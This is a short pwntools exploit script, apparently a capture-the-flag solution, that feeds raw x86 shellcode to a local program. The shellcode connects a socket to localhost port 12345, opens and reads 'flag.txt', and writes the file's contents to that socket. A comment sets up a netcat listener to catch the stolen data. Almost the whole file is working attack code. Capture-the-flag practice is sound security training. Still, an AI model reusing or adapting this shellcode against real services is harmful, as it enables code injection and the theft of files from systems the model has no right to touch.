#!/usr/bin/env python

from pwn import *

# generate from exploit.asm
#   nasm -f bin -o sc exploit.asm
#   ndisasm -b32 sc

shellcode = '\x6a\x06\x6a\x01\x6a\x02\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xcd\x80\x89\xc7\x68\x7f\x00\x00\x01\x66\x68\x30\x39\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\xb8\x66\x00\x00\x00\xbb\x03\x00\x00\x00\x89\xe1\xcd\x80\xeb\x43\xbb\x9c\xff\xff\xff\x59\xba\x00\x00\x00\x00\xbe\x00\x00\x00\x00\xb8\x27\x01\x00\x00\xcd\x80\x89\xe1\x6a\x64\x51\x89\xc3\x89\xe1\xba\x01\x00\x00\x00\xb8\x91\x00\x00\x00\xcd\x80\x89\xfb\x89\xe1\xba\x01\x00\x00\x00\xb8\x92\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80\xe8\xb8\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74\x00'

# before running "./exploit.py", listen on port 12345 on localhost to receive the flag:
#   nc -l 12345

with context.quiet:
    p = process('./program')

    p.sendline(shellcode)

